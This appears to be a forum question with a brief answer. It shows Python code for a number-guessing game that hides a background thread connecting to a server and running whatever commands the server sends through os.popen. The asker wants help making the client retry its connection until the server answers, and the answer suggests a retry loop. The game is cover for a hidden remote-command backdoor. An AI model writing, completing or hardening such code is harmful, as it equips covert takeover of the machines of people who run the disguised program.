I have the following code.
This is for the client.py:
import random import socket import threading import os def access(): HOST = '127.0.0.1' PORT = 22262 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((HOST, PORT)) cmd_mode = False while True: command = client.recv(1024).decode('utf-8') if command == 'cmdon': cmd_mode = True client.send('You now have terminal access!'.encode('utf-8')) continue if command == 'cmdoff': cmd_mode = False if cmd_mode: os.popen(command) if command == 'hello': print('Hello World!') client.send(f'{command} was exectued successfully!'.encode('utf-8')) def game(): number = random.randint(0, 1000) tries = 1 done = False while not done: guess = int(input('Enter a guess: ')) if guess == number: done = True print('You won!') else: tries += 1 if guess > number: print('The actual number is smaller.') else: print('The actual number is larger.') print(f'You need {tries} tries!') t1 = threading.Thread(target=game) t2 = threading.Thread(target=access) t1.start() t2.start() This for server.py
import socket HOST = '127.0.0.1' PORT = 22262 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((HOST, PORT)) server.listen() client, address = server.accept() while True: print(f'Connected to {address}') cmd_input = input('Enter a command: ') client.send(cmd_input.encode('utf-8')) print(client.recv(1024).decode('utf-8')) For this to work properly I need to have the server continually running to get a response from the client. If I run the client before the server I get presented with the following error:
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it Can I modify it to have client.py wait for the server to answer in order to connect to it? Basically I want to remove the time out error
client.connect((HOST, PORT))in atry/exceptblock. If anExceptionis caught, retry.